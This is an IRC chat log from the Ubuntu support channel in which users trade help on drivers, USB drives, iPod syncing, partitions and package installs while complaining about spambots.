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kcidxnow when i run glxinfo i get this name of display: :0.002:57
kcidxXlib:  extension "XFree86-DRI" missing on display ":0.0".02:57
kcidxrobotgeek, its broken02:57
robotgeekkcidx: if u did mean me, no..worked fine02:57
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kcidxrobotgeek, any idea what that error is? i'm using fglrx02:58
Zodiacdamn I spilled beef steed on my keyboard, I dont think it will ever be the same :(02:58
rob_pnalioth:  Cool!  Tnx!  I'll add it to my auto login commands...02:58
robotgeekanyone help me with spam bots, i got queried here!02:58
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apokryphosrobotgeek: /topic02:58
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robotgeekthanks02:59
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apokryphos!spambots02:59
ubotuspambots is, like, totally, at http://freenode.net/faq.shtml#spambots02:59
apokryphos...also02:59
robotgeekthanks :)02:59
carthikHI guys, i installed ubuntu on this 800Mhz pentium box, which has usb ports, but when I plugin a external usb harddrive, nothing automounts... it does work on my ubuntu laptop .. how can i try and figure out what's wrong?02:59
apokryphoscafuego: how can you make responses to actions in the channel02:59
apokryphoscafuego: i.e. "Root has landed!"02:59
cafuegoapokryphos: That's a perl module.02:59
robotgeekcarthik: it shud automount at /media/<label>03:00
carthikrobotgeek, butit does not...03:00
robotgeekcarthik: dmesg?03:00
iananyone use Tomboy?03:00
cafuegoapokryphos: what did you have in mind?03:00
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apokryphoscafuego: not an option as a response to factoid? Geh. Yes, I remember -- perl=evil.03:00
lunitikcafuego, sup at not answering me.... haha03:00
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robotgeekian: yeah03:00
cafuegolunitik: Did you miss me swinging the third leg and hitting you in the eye?03:01
apokryphoscafuego: i.e. "root has joined the channel"... ubotu: "Woo! Root has landed!" ... same as apt.03:01
lunitikcafuego, ahh... guess so.... *goes to find a magnifying glass*  8)03:01
cafuegoapokryphos: Yeah, that's an optional module, rootWarn.pl03:01
ianrobotgeek: so it's fixed in breezy?03:01
kcidxrobotgeek, are you using ATI drivers?03:01
robotgeekkcidx: i am on a powerbook, old one03:01
carthikdmesg says nothing about usb devices...all it says is "agpgart: found an AGP V2.0 compliant device...." but i dont know if that has anything to do with the usb hddd03:02
ttyS0is that possible to change brown background on startup? :)03:02
carthikrobotgeek, sorry ^^03:02
cafuegoapokryphos: Which is set to passive atm, not active.03:02
D1whats with all the spam?03:02
apokryphosright03:02
apokryphosD1: evil spambots.03:02
NoUseD1: /topic03:02
D1;[03:02
ianrobotgeek: does tomboy work without problem on breezy?03:02
kcidxrobotgeek,  this is the error from Xorg.log  (EE) fglrx(0): R200DRIScreenInit failed (DRI version = 5.0.0, expected 4.1.x). Disabling DRI.03:02
carthikttyS0 yes, choose and set a different background, and that will be maintained when you logout and then in03:02
apokryphosian: what is it?03:03
kcidxrobotgeek, any clues?03:03
NoUsekcidx there is a bug in bugzilla03:03
naliothD1: see the topic03:03
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Webby`Help me please03:03
carthikwe need more robotgeeks around here :)03:03
cafuegoapokryphos: Ought I rewrite it to say "Ubuntu users can't log in as root, you'r enot using ubuntu, go away!" when a root@user joins?03:03
carthikWebby`, can i help you?03:03
ttyS0carthik, I've blue background but on startup it becames brown & then blue :)03:03
Webby`I can't get gtkpod to work03:03
robotgeekbrb!03:03
ianapokryphos: http://www.beatniksoftware.com/tomboy/03:03
NoUseWebby` thats not a question03:03
Webby`How do I get gtkpod to work?03:03
robotgeekokay...03:03
NoUsepoint gtkpod to where your ipod is mounted03:04
lunitikWebby`, no idea... it apparently does though  :/03:04
lunitikWebby`, ask the devs?03:04
apokryphoscafuego: you could, sure ;-)03:04
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kcidxNoUse, so does that mean its being fixed....or is there a work around?03:04
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carthikttyS0, oh, so the splash screen...when the things get started and up and running? try changing the startup theme, or something to that effect...03:04
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ianapokryphos: one of the best linux apps, I think03:04
Webby`Anyone know how to get gtkpod to work in ubuntu?03:04
NoUsekcidx no I'm asking is there a bug filed?03:04
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NoUseWebby` I just told you03:04
ttyS0carthik, oh. thanks. i'll try03:04
kcidxNoUse, i haven't filed one.03:04
gdarelAnyone know how I exacute DVDrip once it's installed (feels dmb)03:04
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carthikWebby`, it used to work fine for me...03:04
NoUsekcidx have you searched?03:04
robotgeekcarthik: try to do lsmod and see if you see the usb modules, else load it03:04
carthikWebby`, what about it is not working?03:04
kcidxNoUse, yes. but came up short handed03:05
NoUseWebby` in gtkpod preferences, point it to the mount point of your ipod03:05
apokryphosian: hm, link doesn't load; I'll just install. Note program, eh.03:05
NoUsekcidx then you might want to file a bug03:05
carthikrobotgeek, i get usbcore, u/o/ehci_hcd ??03:05
cafuego!root03:05
ubotuextra, extra, read all about it, root is disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo03:05
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ianapokryphos: what ubuntu version are you using?  tomboy seems broken for me in Hoary03:05
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carthikian, worked for me, but like all things mono (apparently) mileage varies...03:06
robotgeekian: i am using breezy, so it's fixed there,i guess!03:06
apokryphosian: broken as in doesn't start up? Seems to load fine in breezy at least03:06
apokryphosian: though /me always uses KNotes :P03:06
cafuego!root again03:06
ubotucafuego: I give up, what is it?03:06
iancarthik: try adding a note?  that's when it dies for me03:07
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robotgeekcarthik: i get the same thing too..weird!03:07
carthikian, on hoary - it worked just fine...err.. except when i had tomboy running...03:07
gdarelAnyone know how I exacute DVDrip once it's installed (feels dmb)03:07
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Webby`NoUse: I point it to where my ipod is aand I get this error --> Could not open "iTunesDB.ext" for reading extended info.03:07
Webby`Extended info will not be used.03:07
Webby`iPod Database Import Failed: 'Illegal seek to offset 1035926 (length 4) in file '/media/ipod/iPod_Control/iTunes/iTunesDB'.'03:07
carthikrobotgeek, same thing? usb hdd not mounting?03:07
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carthikrobotgeek, yeah, i understand you, this is weird....03:07
robotgeekcarthik: i have the same modules loaded, but usb hdd works03:08
iancarthik: what?  tomboy worked fine except when you had tomboy running?03:08
robotgeeklol03:08
root_cafuego: though, it happens when sudo {irclient} too03:08
cafuego!rootwarn03:08
ubotuthere have been 10 rooters warned about root.03:08
carthikrobotgeek, would you know if, since, my desktop is old and prolly doesn't have usb 2.0 - would tht be the problem?03:08
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cafuegoroot_: I should certainly hope so.03:08
carthikian...oops, except when i had beagles indexer running at startup :) d'oh03:08
iancarthik: do you still use hoary and tomboy?03:09
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robotgeekcarthik: my laptop doesn't have usb 2.003:09
root_cafuego: so they would be using Ubuntu03:09
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vader1102'nor does mine03:09
cafuegogo away ubotu03:09
lunitikcafuego, damnit  :(03:09
carthikian-no - my laptop hdd crashed (totally unrelated incident) and i am in th process of installing stuff - only i am not too sure i want mono apps just yet03:09
apokryphosbingbang the witch is dead!03:09
Webby`Why do I get that error in gtkpod?03:09
robotgeek*waaaaaaaaah* my cousin died!03:10
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ianrobotgeek: what?  just now?03:11
NoUseWebby` put that error into google and see what you find03:11
Webby`ok03:11
NoUseWebby` I've never seen that before03:11
cafuegolunitik: what now?03:11
apokryphosian: he's referring to the bot in the channel :)03:11
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gdarelAnyone know how I exacute DVDrip once it's installed (feels dmb)03:11
apokryphosrobotgeek: ubuntulog is still alive, nevermind.03:11
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vader1102!botsnack03:12
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robotgeekian: ubotu is a far cousin!03:12
lunitikcafuego, getting rid of ubotu  ... he's useful  :(03:12
cafuego!test03:12
ubotuPassed.03:12
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robotgeek!lart cafuego03:12
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vader1102!botsnack03:12
ubotu:)03:12
cafuegolunitik: you're hallucinating03:12
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lunitikcafuego, hmm... just not paying attention... ubotu left for a second though... I saw it  ;)03:13
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root_ubotu: I think we'll get on fine.03:13
uboturoot_: Are you on ritalin?03:13
|Imp|ubotu: whats up dude?03:13
ubotu|Imp|: Wish i knew03:13
|Imp|:D03:13
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HrdwrBoB!play03:14
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ubotuAll work and no play. Please don't play with me in the channel; experiment with me in /msg03:14
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|Imp|ubotu: you don't get out much do you?03:14
ubotuI haven't a clue, |Imp|03:14
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funkyHatubotu, |Imp| is someone who smokes a lot of crack03:14
ubotuokay, funkyHat03:14
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NoUsehaha03:14
|Imp|thats not fair03:14
|Imp|!|imp|03:14
HrdwrBoBwhat's with all the bots03:14
ubotuit has been said that |imp| is someone who smokes a lot of crack03:14
carthikrobotgeek, so any way of figuring out what the heck is wrong with my usb drivers/harddrive/port ?03:14
|Imp|aww crap03:14
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funkyHat:D03:14
robotgeekcarthik: okay, tried and tested method...did a reboot work :)03:15
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|Imp|ubotu, funkyHat is mean to |Imp|03:15
ubotuokay, |Imp|03:15
|Imp|:)03:15
funkyHat:D03:15
HrdwrBoBguys03:15
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cafuego!|Imp| =~ s/crack/crap/03:15
HrdwrBoB!play03:15
ubotuAll work and no play. Please don't play with me in the channel; experiment with me in /msg03:15
ubotuOK, cafuego03:15
carthikrobotgeek, hah! going down NOW!03:15
cafuego#debian-bots is a playground as well (and there's MORE bots there)03:15
carthikrobotgeek, thanks for trying....03:16
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carthikwill be back03:16
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lunitikcafuego, you keep a log about what people do with the bot?03:16
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ianlunitik: sicko...03:16
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cafuegolunitik: the bot logs EVERYTHING03:16
apokryphoslunitik: view his searchable brain at /msg ubotu list03:16
Paradoxxbah, how do i block spammers?03:16
apokryphosubuntulog logs channel too ;-)03:17
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apokryphosParadoxx: /topic03:17
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ali4728newbie seeks help - name based virtual server for multiple sites on the same IP!03:17
greivancedoes anyone know how to change your mode in Chatzillia?  (So much spam!)03:17
apokryphosgreivance: /topic03:17
lunitikcafuego, fun  :)03:17
greivancethank you03:17
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cafuegolunitik: Waste of disk space, if you ask me.03:18
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gdarelAnyone know how I exacute DVDrip once it's installed (feels dmb)03:18
HrdwrBoBcafuego: disk space is $SFA03:18
HrdwrBoBgdarel: run 'dvdrip'03:18
Concord_Dawnali4728, you and I are in the same boat. I'd like to do that as well.03:18
vader1102!botsnack03:18
ubotuthanks vader1102 :)03:18
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lunitikcafuego, indeed... *cough*  :P03:18
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cafuegoHrdwrBoB: That depends on whether you host for $SFA at an ISP you work at, or pay a fee for a box in a datacenter.03:19
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lunitikcafuego, oh... you happen to have the bots code up anywhere? blootbot = horribly broken... nice to see how you fixed things...03:19
cafuegoHrdwrBoB: Sure I can add another 250GB disk at home, but that's not on a useful link and irc logs are STILL a waste of disk space ;-)03:19
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apokryphoscafuego: ubuntulog already does that, so there's no need to save it...03:20
cafuegolunitik: It's the CVS one with s/debian/ubuntu/ and different mirror sites03:20
cafuegoapokryphos: Yep03:20
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lunitikcafuego, ahh.... k... thanks  :)03:21
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cafuegoapokryphos: I logrotate 'em; just in case someone does fuck up the bot03:21
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cafuegogot about a months worth03:21
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apokryphosright03:21
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ali4728newbie seeks help - name based virtual server for multiple sites on the same IP!03:22
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cafuegoali4728: The apache docs are not at all difficult03:23
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Agrajagyou'd be better off asking in #apache probably03:23
Carpe_LibertatemI have a problem. I have a dual-boot system. On HDB, I have three partitions, an NTFS, a Swap, and An Ext2/3. I used a program to automatically mount all partitions, and now Windows sees HDB as one huge RAW disk.03:23
cafuegoali4728: See /etc/apache2/sites-available/default? Copy that file to a new name, change the DocumentRoot and ServerName, voila, first new vhost.03:23
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vader1102bbl have a great night03:23
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ali4728cafuego, wish it was that easy!03:24
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cafuegoali4728: I've always found it to be03:25
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cafuegoali4728: Of course, adding the right ip/host combo to /etc/apache2/ports.conf helps.03:25
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Carpe_LibertatemI have a problem. I have a dual-boot system. On HDB, I have three partitions, an NTFS, a Swap, and An Ext2/3. I used a program to automatically mount all partitions, and now Windows sees HDB as one huge RAW disk.03:26
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cafuegoSheesh,. maybe an op can re-enable +f or something03:28
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robotgeekcafuego: what's +f ?03:28
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lunitikrobotgeek, /help mode03:29
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cafuegorobotgeek: overflow channel for non-registered users03:29
blaedanyone know where the gdm.conf on the hoary livecd is generated/copied/customised from? trying to customise the live cd, but when i edit etc/gdm.conf on the compressed filesystem, some of the values are overriden? i want to use automaticlogin instead of timedlogin for gdm...03:29
cafuegorobotgeek:... to block these bots03:29
robotgeeku mean to boot to ubuntu-unregged?03:30
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puzzlehello03:30
cafuegoyah03:30
lunitikcafuego, thats what #fedora does i think... but its hardly far to users that are new to IRC...03:30
apokryphoslunitik: temporarily, most probably.03:30
Concord_Dawncan someone tell me a good backup utility for Ubuntu? I'd like to keep everything.03:30
cafuegolunitik: I don't see why people not new to irc should suffer because others cnanot read.03:30
puzzlei knew there was a site where you could go and it has programs for new users of ubuntu03:30
puzzleanyone have site03:30
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cafuegothe topic on #unregged is clear enough03:30
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puzzlecan someone help me03:30
puzzleplease03:30
carthiksay, how long would e2fsck take to complete a check on a 200 GB hdd?03:31
puzzlehello03:31
cafuegocarthik: Depends on how broken it is.03:31
puzzlesomone please tell me03:31
carthikpuzzle, if you let others help, they will.... just ask the question03:31
cafuegocarthik: .. and how fast it runs.03:31
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dionysuspuzzle, you're not being very specific, but ubuntuguide.org is a nice first stop03:31
carthikcafuego -- in hours or minutes?03:31
cafuegocarthik: Probably 10 to 20 minutes if there are no major errors.03:31
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apokryphoscarthik: minutes; also depends on your setup of course03:32
carthikcafuego - alright, though in the worst case it could be 1+ hour, eh?03:32
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apokryphosvery unlikely03:32
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Concord_Dawncan someone tell me a good backup utility for Ubuntu? I'd like to keep everything.03:32
{GuNNeR}has anyone here heard of broadcom wireless card only working with 64 bit drivers?03:32
cafuegocarthik: If it's full of tiny files you've got a problem, yes03:32
codecaineanyone know what this " 2>&1" is for in bash programming?03:32
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carthikit is still on Pass 1: checking inodes,... after about 15 minutes03:32
cafuego{GuNNeR}: No, I've only heard of them not working.03:32
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Agrajagredirect stderr to stdout03:32
carthikcodecaine, &1 &2 are all all standard streams...03:32
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fanopnaiccarthik: half an hour seems to be reasonable.03:33
Agrajag2> redirects stderr, &1 is stdout03:33
NoUsecodecaine that redirects stderr to stdout03:33
{GuNNeR}cafuego: it's weird, the only drivers I can find are 64 bit which work (of course) only in 64 bit linx of any distro...however when I try to use a 32 bit driver (all of this under ndiswrapper mind you) nothing will work at all03:33
fanopnaiccarthik: didn't you start it with -C0 ?03:33
cafuegocarthik: yes, passes 2 through 5 runs much, MUCH faster.03:33
Concord_Dawncan someone tell me a good backup utility for Ubuntu? I'd like to keep everything03:33
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codecainethank you03:33
cafuego{GuNNeR}: You on a 32bit Linux kernel?03:33
carthikfanopiac, no... just e2fsck -v (hoping it would speak more.. but it's real shy :) )03:33
lexmarkis it possible to install .rpm package?03:33
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lexmarkon unbuntu?03:34
NoUse!alien03:34
ubotualien is, like, totally, a program to convert RPMs to DEBs. Can give problems. Website: http://www.kitenet.net/programs/alien/03:34
cafuegolunitik: Yes, but it's NOT a good idea.03:34
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fanopnaiccarthik: anyway, -C0 gives you a progress bar and stuff03:34
{GuNNeR}cafuego: currently on nothing right now since I've formatted my hd - debating if I wanna go back to ubuntu or try FC403:34
robotgeekcarthik: mounted?03:34
carthikConcord_Dawn, on another hard drive, another machine? search for "rsync automated ssh backups"03:34
lexmarkthanx nouse03:34
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codecaineNoUse, do you know of a quick tutorial on these types of things, i dont want a whole book like the one on tldp.org03:34
codecainei just want to know about those types of things and like what -e and -a and -r and -x are all about03:34
{GuNNeR}cafeuego: however the only time I had success with my broadcom card was in 64 bit ubuntu with the 64 bit drivers03:34
carthikrobotgeek, no, i let the dude do his e2fsck in peace, after not letting it the last time i was impatient (different hdd though...)03:35
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robotgeekcarthik: okay03:35
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carthikfanopnaic, oh, i see.. that is what i wanted... next time, perhaps...03:35
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NoUsecodecaine http://linuxcommand.org/03:35
carthikfanopnaic, thanks :)03:35
fanopnaicnp :)03:35
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Concord_Dawncarthik, on this hdd to another03:35
codecaineNoUse, thank you!03:35
TylerEDoes anyone know a good TTF unicode font? Preferably monospaced03:35
cafuego{GuNNeR}: Yes, the 32bit drivers are never going to work on a 64bit kernel (and vice versa)03:35
carthikConcord_Dawn, ?? this is at start up, on a hdd that is mounted at /stuff ?03:36
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cafuegoTylerE: bitsream vera sans mono ?03:36
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ronald_Did you guys just get the spam messages from VgnaGirl and denizliAolg?03:36
Concord_Dawncarthik, I want to backup to an external HDD03:36
NoUseronald_ read the topic03:36
carthikConcord_Dawn, oh, sorry -- so you want to backup onto the same hdd? rsync is probably the best option - i beleive...03:36
TylerEcafuego: the characters I need are somewhat unusual and NOT in BS Vera03:36
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{GuNNeR}cafuego: I know, however the 32 bit drivers don't work in 32 bit but the 64 do in 64 bit03:36
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carthikConcord_Dawn, okay, great, search for what i suggested earlier.... minus the ssh03:36
Concord_Dawnrsync?03:37
robotgeeki find it hard to go understand the motive behind this attack!03:37
Carpe_LibertatemChrist. Why am I getting so much spam?03:37
lexmarkhow about these.. .i586.tar.bz2 packages? is it possible to install in Ubuntu?03:37
carthikConcord_Dawn, using rsync you can create rotating snapshot style backups that do no, afte rhte first, take up the entire space of whatever is being backed up03:37
codecaineCarpe_Libertatem, so am I!03:37
NoUseCarpe_Libertatem read the topic03:37
ChadzaAnyone wanna reccomend a mp3 player w/ a library aside from rhythmbox?03:37
robotgeekCarpe_Libertatem: /umode +CE03:37
apokryphosubotu: tell lexmark about spambots03:37
ronald_NoUse: Thank you. I have it set now03:37
Carpe_LibertatemDanke.03:37
funkyHatCarpe_Libertatem, read the channel topic, doing that should stop it03:37
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codecaineubotu: tell codecaine about spambots03:37
carthikConcord_Dawn, searching on google or del.icio.us would show you lots of articles...03:37
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Carpe_LibertatemCan someone help me with my other problem please?03:38
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carthikubotu: tell me about spambots03:38
gdarelAmarok03:38
NoUse!anyone03:38
ubotumethinks anyone is 90% of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and YOU decide? <hint>03:38
Carpe_LibertatemI have a problem. I have a dual-boot system. On HDB, I have three partitions, an NTFS, a Swap, and An Ext2/3. I used a program to automatically mount all partitions, and now Windows sees HDB as one huge RAW disk.03:38
Concord_Dawncarthik, I want to backup to a USB harddrive.03:38
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carthikConcord_Dawn, yes, dude... that is what i am talking about03:38
lexmarkhow about these.. .i586.tar.bz2 packages? is it possible to install in Ubuntu?03:38
carthikConcord_Dawn, do you want me to do the searching now? :)03:38
gdarelchadza: Amarok03:39
codecainewhat is +CE ?03:39
Concord_Dawnok03:39
Concord_Dawnjust checking03:39
Concord_Dawnsorry03:39
Concord_Dawn:-P03:39
carthiklexmark, try looking for a .deb of the same thing :)03:39
Chadzagdarel, checking03:39
HrdwrBoBConcord_Dawn: only accept messages from logged in users03:39
NoUseCarpe_Libertatem does fdisk see it correctly?03:39
carthikConcord_Dawn, not a problem at all.03:39
bimberi!umode03:39
ubotuThe freenode user modes are described at http://freenode.net/using_the_network.shtml03:39
puzzlehello03:39
ronald_Hello puzzle03:39
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puzzlecan someone help me put java on ubuntu03:39
Carpe_LibertatemNoUse: How do I check that?03:40
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NoUse!tell puzzle about java03:40
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carthikpuzzle, look up the ubuntuguide.org guide...03:40
NoUseCarpe_Libertatem sudo fdisk -l /dev/hdb03:40
ronald_puzzle: Not to be rude but have you read the install guide for installing java?03:40
carthikubotu tell puzzle about java03:40
puzzlei went there and had a problem03:40
NoUse!ubuntuguide03:40
ubotuI heard ubuntuguide is a set of instructions with no explanation. Please do not advise people to use ubuntuguide.  Advise https://wiki.ubuntu.com instead. The official FAQ Guide will be released with Breezy, stay tuned.03:40
funkyHatsorry, didn't notice NoUse had just done it puzzle03:40
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Carpe_LibertatemNoUse - yep03:40
carthikpuzzle, what problem was that?03:40
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kad2hi all03:42
puzzlenvm i think i got it03:42
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puzzlei fixed it03:42
puzzlewhats the best music player for ubuntu03:42
robotgeekgr8!03:42
kad2does anyone know about wireless lan install using the ndiswrapper?03:42
Carpe_LibertatemNoUse: - it shows the NTFS as existing.03:42
robotgeek!ndiswrapper03:42
ubotuhmm... ndiswrapper is at https://wiki.ubuntu.com/HowToSetUpNdiswrapper03:42
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carthikpuzzle, use xmms, or music player... or beep... try them all and see what you like best03:43
robotgeekkad2: read that link03:43
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kad2i am following the howto, but not sure how to get the windows drivers for the card03:43
NoUseCarpe_Libertatem and windows can't read any of those partitions?03:43
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robotgeekkad2: get it from your drivers cd?03:43
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bwlangwhat's with this webcamera spam... anybody know how to stop it?03:43
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kad2i downloaded the linksys drivers... it has 2 .inf files, i have tried both, but it says both are invalid driver files....03:43
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Carpe_LibertatemNoUse: right, the partition was unaltered and previously showed as drive D:, Drive D: is now one huge RAW disk that Windows wants me to format.03:44
robotgeekbwlang: /topic03:44
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dionysustrying to install freeciv from source, I get complaints about it not being able to find gtk-config (locate can't find it either, so it really isn't on my system)...I've hit problems like this before and never really been able to find a way around them, don't spose anyone has any suggestions?03:44
robotgeekkad2: links on the ndiswrapper wiki?03:44
ronald_bwlang...type in /umode +CE03:44
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robotgeekdionysus: mostly you would need to install the dev package, i guess03:44
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kad2no, i dont see any that will give the drivers.. i know its a broadcom chip via using the show pci command03:44
NoUseCarpe_Libertatem did you resize the partition or anything?03:45
dionysusah ok03:45
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kad2the file on ndiswrapper just shows the card as a broadcom also03:45
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Carpe_LibertatemNoUse: I said the partition was unaltered. =P03:45
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c0rrupt_what is the command to reset alsa to release it from the process its currently being used from03:45
c0rrupt_ban neon03:45
] BreliC[hey, ASLI is one of the person i received spam from03:45
c0rrupt_spam bot03:45
c0rrupt_is neon03:45
cafuego] BreliC[: register your nickname, then /umode +CE to stop the spam.03:46
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] BreliC[thanks cafuego .. but shouldn't he/it be kicked from the channel?03:46
c0rrupt_yea03:46
robotgeek] BreliC[: too many to kick03:46
c0rrupt_ban neon or w/e03:46
Chadzagdarel, Any non kde based?03:46
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NoUseCarpe_Libertatem well chalk it up to Windows sucking I guess03:47
c0rrupt_what is the command to reset alsa to release it from the process its currently being used from03:47
codecainei can still ctcp version myself, does +C just mean no one else can?03:47
] BreliC[i'll never understand spam... why on earth would I *ever* try/buy/visit/whatever something that comes from someone who annoys the hell out of me??03:47
robotgeekc0rrupt_: you can try to "sudo /etc/init.d/alsa restart"03:47
kcidxok when i run xdriinfo i get this output Xlib:  extension "XFree86-DRI" missing on display ":0.0".03:47
kcidxlibGL is too old.03:47
kcidx any help with that? i'm using breezy and just ran the update and it banged my 3d all up03:47
Carpe_LibertatemNoUse: How can I format and make partitions in Ubuntu? I want to split the NTFS partition into two FAT32 partitions03:48
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naliothcodecaine: the +C keeps unregisted users from CTCPing YOU (not protect you from yourself)03:48
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dcunyHowdy! I'm having trouble installing Ubuntu onto an old Vaio laptop. I I think the issue has to do do with the libc library being compiled for a i686.03:48
NoUseCarpe_Libertatem qtparted is probably your best bet03:48
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robotgeekCarpe_Libertatem: or gparted03:48
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=== NoUse didn't realize there was a gparted
codecainenalioth, You'll still receive CTCP messages sent to a channel you are on, although the network will block your response to them. "that's why i say that"03:49
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pepehey03:49
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ChadzaHow do I view video files when I can't get wmp on firefox?03:50
pepeI need help installing a .deb package03:50
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nate_Does anyone know how to encode multiple files at a time with LAME? I've been encoding one at a time, at it takes too long XD03:50
pepeI did sudo dpkg -i03:50
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pepebut the program won't work03:50
overflowGuys .. this Ubuntu Is getting better and better since the last time I used.03:50
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codecainenalioth, how do u ctcp a channel?03:50
unvs_yeah, hoary is really nice03:50
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ronald_I'm really liking it overflow.03:50
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=== pepe is a gentoo user, installed ubuntu on grandpa's box....
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ronald_I like FC4 and Ubuntu but I find myself spending more time in Ubuntu.03:51
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overflowOne question, Why amsn still in Universe and It is not part of official Hoary repository?03:51
moparfan90hello. can someone help me install limewure03:51
unvs_gentoo gets to involved for me :)03:51
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=== pepe adores his gentoo
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pepeanyways03:51
ronald_...takes 3 days to install Gentoo =/03:52
naliothcodecaine: idk, but i do know you can automate a ctcp to all users on the channel03:52
pepeI downloaded a skype .deb package03:52
Chadza!win32codecs03:52
ubotuChadza: Syntax error in line 103:52
carthikronald_, and a LUG too.... :)03:52
pepeI did sudo dpkg -i skype*03:52
Concord_Dawn!w32codecs03:52
funkyHatoverflow, is that a problem? it still works doesn't it?03:52
pepeand it seems to install well03:52
pepeexcept it doesn't run03:52
Carpe_LibertatemNoUse: Also, do you know the app that automatically mounts NTFS/FAT32 partitions?03:52
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carthikpepe, it has some dependencies...03:52
codecainenalioth, ok just confused because i dont know what the "channel ctcp" is all about03:52
flughgood grief, the spam. gotta get xchat to set the umode automatically on connect. yeesh, ought to just join efnet or something :)03:52
pepesays there's an error loading shared libraries libqt-mt03:52
overflowfunkyHat, nobody says that was a problem03:52
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pepeI'm guessing I need to apt-get qt?03:53
pepegeez, this channel's swarming with porn bots03:53
carthikpepe- install lib-qt-mt3 i guess...03:53
unvs_yeh03:53
ArsonideHey I used Synaptic to download "3ddesktop", just interested in how it looks, but how do I activate it now? It installed...03:53
funkyHatpepe, /umode +CE (as the topic says)03:53
carthikpepe no, lib-qt-mt3-dev or something.... try searching in synaptic...03:53
overflowfunkyHat, In fact, Im asking coz maybe you need help to maintain that package or something03:53
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intelikeywhat's with this "[mango(n=^ece^@200.92.67.63)]  Free WebCamera Sex Movie For sign  ... [yalniizM(n=erzuruml@81.214.94.129)]  Free WebCamera Sex Movie For sign "   repeeting over and over.... ?03:54
carthikArsonide.... type 3ddesktop & at a terminal... your video card shoudl support 3dfx though....03:54
NoUse!tell Carpe_Libertatem about ntfs03:54
bimberiArsonide: type "3ddesk" in a terminal03:54
carthik3desk, sorry :|03:54
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carthik3ddesk, i mean03:54
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carthik /mode --no-verbose...03:54
bimberiand carthik's & is a good idea :)03:55
ArsonideWOW, NICE.03:55
Arsonidelol03:55
funkyHat:D <3 3ddesktop03:55
ArsonideNow how do I tie that in with the existing browser?03:55
linuxpoeto.k. ubuntu is now my default desktop **IF** I can find a way to rip mp3s03:55
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intelikeyare there any ircops around ?03:55
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ronald_ /msg nickserv link ronald n635835203:56
carthiklinuxpoet, many ways.... searching on google will lead you the right way03:56
robotgeekintelikey: read /topic03:56
funkyHatArsonide, right click on your gnome panel (where you want the button to go, mine is next to my VDM buttons) and click add applet, make it a launcher03:56
ChadzaApplications / Sound & Video / Sound Juicer CD Ripper03:56
ChadzaCheck that one out.03:56
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pepelinuxpoet - debian has a godlike package database, do a search in synaptik... I'm guessing it'll be one of KDE's apps, though03:56
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Paradoxxthey need to update the package they have for gaim03:56
Paradoxxso i can get the latest version...03:57
Paradoxxlol03:57
Concord_Dawnanyone know any NTFS drivers that allow you to write?03:57
Concord_DawnI don't care how experimental they are.03:57
moparfan90is there a way to report people sendin porn?03:57
moparfan90to get them banned?03:57
bimberiParadoxx: backports has later versions of gaim03:57
intelikeyrobotgeek yeah what about the topic ?03:57
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pepemoparfan90 /umode +CE03:57
robotgeekintelikey: to get rid of the spambots03:57
pepethat'll get rid of them03:57
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ParadoxxConcord_Dawn:  if i recall correctly, if you have 2.4+ (kernel that is) you can write to NTFS partitions, but its not all that safe03:58
Paradoxxit does?03:58
Concord_Dawnnot afaik.03:58
moparfan90okt thanks03:58
pepeI thought only 2.6+ kernels could write NTFS03:58
pepeand they can't edit, only overwrite03:58
Paradoxxbimberi:  but when i try to apt-get, i can get it03:58
Concord_Dawntbh, I have kernel 2.6.1103:58
moparfan90can someone help me install limewire? please.03:58
Concord_Dawnand it don't write.03:58
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bimberiParadoxx: gaim 1.4 iirc03:58
ParadoxxConcord_Dawn: you gotta mount it as a -rw i think03:58
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funkyHatmoparfan90, sudo apt-get install gtk-gnutella03:58
intelikeyhehhe yeah i missed that line    sorry.03:58
Concord_Dawnerm03:58
dcunywhat's the question about installing limewire?03:58
Paradoxxbimberi: huh?03:58
Concord_DawnIt's an external drive03:59
pepeedit your fstab03:59
pepe/etc/fstab03:59
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pepeand where under options for your NTFS partition, put rw03:59
pepeor -rw03:59
moparfan90funkyHat, whats that?03:59
pepeor something like that03:59
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pepehehehe ^^03:59
pepesame thing03:59
pepeit should have a device name03:59
{GuNNeR}grrrrrrr darn having to install 64 bit ubuntu only to get my wifi workin in ndiswrapper03:59
bimberiparadox iirc = "if I recall correctly" (if that was what huh? was related to)03:59
pepeyou could add it to fstab or just do mount -rw /dev/(device name)04:00
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dcunyHrm... I04:01
intelikeynew kernel support ntfs rw mode ?04:01
Paradoxxbimberi: i kno that 1.4 is the laterst version, but atm i have 1.1.5 and it won't update04:01
funkyHatArsonide, you got that working?04:01
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Paradoxxeverytime i try to update gaim it says that it is held back04:01
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Concord_Dawnherm04:01
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dcunyI've having trouble installing onto an older laptop. Any takers?04:01
{GuNNeR}is anyone here running ubuntu for amd64?04:01
Concord_Dawncan someone tell me where external devices are?04:01
Concord_Dawnand not /media04:02
Concord_Dawnthe /dev name04:02
jtan325argh i am getting spammed04:02
Concord_Dawnif there is one.04:02
jtan325when i close #ubuntu, no more spam04:02
funkyHatjtan325, /umode +CE04:02
Paradoxx!wiki04:02
jtan325what does that mean?04:02
funkyHatdo that, in here, it will stop the spammers04:02
bimberiParadoxx: ok - the official backports has 1.3.104:02
ArsonideOk I see, 3ddesk --goto # will go to the correct desktop, can I tie these commands to the buttons in the bottom right?04:03
ronald_How about /mnt?04:03
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ArsonideSo that pressing them does the effect?04:03
Paradoxxwhen i try to update it dosen't04:03
Paradoxxy is that?04:03
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pepehmm04:03
pepeso sound doesn't seem to work at all for me...04:03
] BreliC[Concord_Dawn, /dev/sdX ?04:03
gdarelCan someone help figure out what I need to do to intall/convert an RPM fle04:03
funkyHatArsonide, not the desktop switcher applet, but you could make your own set of buttons for it04:03
] BreliC[Concord_Dawn, my card reader and external drives mount as /dev/sda, etc04:03
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Arsonideah, so I can't tie it in seamlessly with ubuntu04:03
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kelly_hello ppl...04:04
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funkyHatArsonide, not with the desktop switcher applet no04:04
intelikeypepe not muted is it ?04:04
pepenope04:04
pepechecked alsamixer04:04
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kelly_please help me install my modem in my laptop..using ubuntu..04:04
funkyHat(you can remove that applet if you wish to just have a row of 3ddesk launchers)04:04
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pepeended up unmuting everything to make sure, everything's at decent levels, as well04:04
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ronald_gdarel: read here for converting: http://www.linuxdocs.org/HOWTOs/RPM-for-Unix-HOWTO-8.html04:04
ParisiI wiped mbr and with that lilo/grub, so i can only boot XP at the moment, whats an easy way to re install a boot loader?04:04
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gdarelthanks04:05
bimberiParadoxx: put your sources.list on a pastebin04:05
Parisieccem is spamming04:05
